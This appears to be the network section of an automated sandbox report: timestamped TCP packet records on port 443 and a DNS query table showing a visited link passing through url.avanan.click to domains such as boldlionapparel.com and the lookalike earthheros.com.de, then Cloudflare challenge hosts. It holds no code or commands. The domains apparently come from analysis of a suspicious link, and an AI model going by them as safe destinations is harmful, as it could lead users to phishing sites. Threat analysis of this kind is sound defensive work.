Oct 16, 2024 17:56:43.724183083 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.724222898 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.724585056 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.724601984 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.776288986 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.776552916 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.776648045 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.776762009 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.776762009 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.776810884 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.776837111 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.779181004 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.779227972 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.779475927 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.779618979 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.779629946 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.855561972 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.855762005 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.855838060 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.855931044 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.855931044 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.855978966 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.856007099 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.857924938 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.858017921 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.858100891 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.858284950 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.858316898 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.902162075 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.902565002 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.902591944 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.902987957 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.903002977 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.966208935 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.966548920 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.966571093 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.966934919 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.966947079 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.969742060 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.970195055 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.970262051 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.970447063 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.970462084 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.036812067 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.036863089 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.036922932 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.037035942 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.037035942 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.037070036 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.037092924 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.040765047 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.040812969 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.040894032 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.041052103 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.041081905 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.097779989 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.097944021 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.098087072 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.098146915 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.098148108 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.098174095 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.098200083 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.100611925 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.100667953 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.100872993 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.101003885 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.101022005 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.101754904 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.101902008 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.102149010 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.102260113 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.102260113 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.102307081 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.102333069 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.104912043 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.104943037 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.105010033 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.105103016 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.105113983 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.557218075 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.557708025 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.557735920 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.558156967 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.558162928 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.598737955 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.599080086 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.599113941 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.599469900 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.599477053 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.689507008 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.689599991 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.689661980 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.689788103 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.689810991 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.689824104 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.689831972 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.692507982 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.692563057 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.692640066 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.692769051 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.692791939 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.741112947 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.741182089 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.741416931 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.741416931 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.741489887 CEST	49813	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.741525888 CEST	443	49813	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.744462967 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.744509935 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.744729042 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.744729996 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.744791031 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.773834944 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.774744987 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.774744987 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.774785042 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.774810076 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.834942102 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.835688114 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.835688114 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.835711956 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.835721970 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.854748011 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.855432034 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.855448961 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.855557919 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.855564117 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.907121897 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.907200098 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.907429934 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.907488108 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.907488108 CEST	49814	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.907525063 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.907535076 CEST	443	49814	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.909869909 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.909903049 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.910103083 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.910103083 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.910132885 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.996306896 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.996562004 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.996990919 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.996990919 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.997028112 CEST	49816	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.997040987 CEST	443	49816	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.999313116 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.999422073 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:44.999572992 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.999641895 CEST	49820	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:44.999670982 CEST	443	49820	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.001667023 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.001804113 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.001888990 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.001889944 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.002094030 CEST	49815	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.002113104 CEST	443	49815	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.003755093 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.003798008 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.003890038 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.004043102 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.004056931 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.204227924 CEST	49822	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.204260111 CEST	443	49822	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.204648972 CEST	49822	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.205024958 CEST	49823	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.205080986 CEST	443	49823	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.205108881 CEST	49822	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.205122948 CEST	443	49822	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.205149889 CEST	49823	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.205415964 CEST	49823	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.205425978 CEST	443	49823	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.445945024 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.446556091 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.446610928 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.446995974 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.447004080 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.466701984 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.467571020 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.467624903 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.468003035 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.468018055 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.577858925 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.578135014 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.579193115 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.579193115 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.579377890 CEST	49817	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.579435110 CEST	443	49817	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.581676006 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.581769943 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.582048893 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.582048893 CEST	49824	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.582134008 CEST	443	49824	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.599666119 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.599687099 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.599734068 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.599771976 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.599921942 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.599921942 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.600084066 CEST	49818	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.600097895 CEST	443	49818	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.601963043 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.602005959 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.602207899 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.602634907 CEST	49825	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.602647066 CEST	443	49825	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.653949022 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.654421091 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.654438972 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.654798985 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.654818058 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.773168087 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.773610115 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.773634911 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.774637938 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.774641991 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.787370920 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.787437916 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.787677050 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.787707090 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.787724972 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.787781000 CEST	49819	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.787787914 CEST	443	49819	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.790623903 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.790663958 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.790734053 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.790956020 CEST	49826	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.790982962 CEST	443	49826	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.820746899 CEST	443	49822	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.821060896 CEST	49822	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.821074963 CEST	443	49822	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.822704077 CEST	443	49822	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.822916985 CEST	49822	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.824290037 CEST	443	49823	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.824598074 CEST	49822	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.824686050 CEST	443	49822	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.824853897 CEST	49823	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.824887991 CEST	443	49823	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.825114012 CEST	49822	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.825120926 CEST	443	49822	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.826533079 CEST	443	49823	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.826611996 CEST	49823	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.830056906 CEST	49823	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.830152035 CEST	443	49823	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.854847908 CEST	443	49710	108.138.7.53	192.168.2.5
Oct 16, 2024 17:56:45.855007887 CEST	443	49710	108.138.7.53	192.168.2.5
Oct 16, 2024 17:56:45.855087042 CEST	49710	443	192.168.2.5	108.138.7.53
Oct 16, 2024 17:56:45.876054049 CEST	49822	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.876069069 CEST	49823	443	192.168.2.5	104.16.124.96
Oct 16, 2024 17:56:45.876086950 CEST	443	49823	104.16.124.96	192.168.2.5
Oct 16, 2024 17:56:45.915077925 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.915132046 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.915214062 CEST	49821	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:45.915230989 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.915262938 CEST	443	49821	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:45.915316105 CEST	49821	443	192.168.2.5	13.107.246.45

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 16, 2024 17:56:15.114027023 CEST	192.168.2.5	1.1.1.1	0x9ecf	Standard query (0)	url.avanan.click	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:15.114506960 CEST	192.168.2.5	1.1.1.1	0xce6d	Standard query (0)	url.avanan.click	65	IN (0x0001)	false
Oct 16, 2024 17:56:16.694072008 CEST	192.168.2.5	1.1.1.1	0x3033	Standard query (0)	www.google.com.sg	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:16.694401026 CEST	192.168.2.5	1.1.1.1	0x7bf0	Standard query (0)	www.google.com.sg	65	IN (0x0001)	false
Oct 16, 2024 17:56:17.518603086 CEST	192.168.2.5	1.1.1.1	0x4626	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:17.518769979 CEST	192.168.2.5	1.1.1.1	0xb494	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:22.237201929 CEST	192.168.2.5	1.1.1.1	0x44f	Standard query (0)	www.google.com.sg	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:22.237632990 CEST	192.168.2.5	1.1.1.1	0xb1f6	Standard query (0)	www.google.com.sg	65	IN (0x0001)	false
Oct 16, 2024 17:56:31.948132038 CEST	192.168.2.5	1.1.1.1	0xe2bf	Standard query (0)	boldlionapparel.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:31.948411942 CEST	192.168.2.5	1.1.1.1	0xa4d3	Standard query (0)	boldlionapparel.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:35.515039921 CEST	192.168.2.5	1.1.1.1	0xa85d	Standard query (0)	earthheros.com.de	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:35.515355110 CEST	192.168.2.5	1.1.1.1	0x41de	Standard query (0)	earthheros.com.de	65	IN (0x0001)	false
Oct 16, 2024 17:56:36.979285002 CEST	192.168.2.5	1.1.1.1	0x5ca6	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:36.980309963 CEST	192.168.2.5	1.1.1.1	0xe0c8	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:39.399406910 CEST	192.168.2.5	1.1.1.1	0x3273	Standard query (0)	earthheros.com.de	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:39.400509119 CEST	192.168.2.5	1.1.1.1	0x4f25	Standard query (0)	earthheros.com.de	65	IN (0x0001)	false
Oct 16, 2024 17:56:45.191695929 CEST	192.168.2.5	1.1.1.1	0x5a25	Standard query (0)	www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:45.192096949 CEST	192.168.2.5	1.1.1.1	0x2385	Standard query (0)	www.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:47.957530022 CEST	192.168.2.5	1.1.1.1	0x8898	Standard query (0)	static.cloudflareinsights.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:47.957904100 CEST	192.168.2.5	1.1.1.1	0xcab6	Standard query (0)	static.cloudflareinsights.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:47.958642960 CEST	192.168.2.5	1.1.1.1	0x7511	Standard query (0)	cf-assets.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:47.959677935 CEST	192.168.2.5	1.1.1.1	0x9d2	Standard query (0)	cf-assets.www.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:48.723110914 CEST	192.168.2.5	1.1.1.1	0xed13	Standard query (0)	www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.723603964 CEST	192.168.2.5	1.1.1.1	0xd101	Standard query (0)	www.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:48.761547089 CEST	192.168.2.5	1.1.1.1	0x2f66	Standard query (0)	performance.radar.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.761995077 CEST	192.168.2.5	1.1.1.1	0xfb5e	Standard query (0)	performance.radar.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:48.762541056 CEST	192.168.2.5	1.1.1.1	0xc7de	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.763082027 CEST	192.168.2.5	1.1.1.1	0xfd25	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:48.764384031 CEST	192.168.2.5	1.1.1.1	0xea97	Standard query (0)	ot.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.765038013 CEST	192.168.2.5	1.1.1.1	0x7958	Standard query (0)	ot.www.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:48.808996916 CEST	192.168.2.5	1.1.1.1	0x14cb	Standard query (0)	cf-assets.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:48.809478998 CEST	192.168.2.5	1.1.1.1	0x31d3	Standard query (0)	cf-assets.www.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:49.038969994 CEST	192.168.2.5	1.1.1.1	0xaa6b	Standard query (0)	static.cloudflareinsights.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:49.039340019 CEST	192.168.2.5	1.1.1.1	0x15ab	Standard query (0)	static.cloudflareinsights.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:52.274971008 CEST	192.168.2.5	1.1.1.1	0x7970	Standard query (0)	ot.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:52.275621891 CEST	192.168.2.5	1.1.1.1	0xc4c8	Standard query (0)	ot.www.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:52.748550892 CEST	192.168.2.5	1.1.1.1	0xc672	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:52.749165058 CEST	192.168.2.5	1.1.1.1	0xccef	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:56.122148991 CEST	192.168.2.5	1.1.1.1	0xfe6f	Standard query (0)	cdn.logr-ingest.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:56.122406006 CEST	192.168.2.5	1.1.1.1	0xed40	Standard query (0)	cdn.logr-ingest.com	65	IN (0x0001)	false
Oct 16, 2024 17:56:59.073729992 CEST	192.168.2.5	1.1.1.1	0x199e	Standard query (0)	assets.adobedtm.com	A (IP address)	IN (0x0001)	false
Oct 16, 2024 17:56:59.073925018 CEST	192.168.2.5	1.1.1.1	0xfd27	Standard query (0)	assets.adobedtm.com	65	IN (0x0001)	false
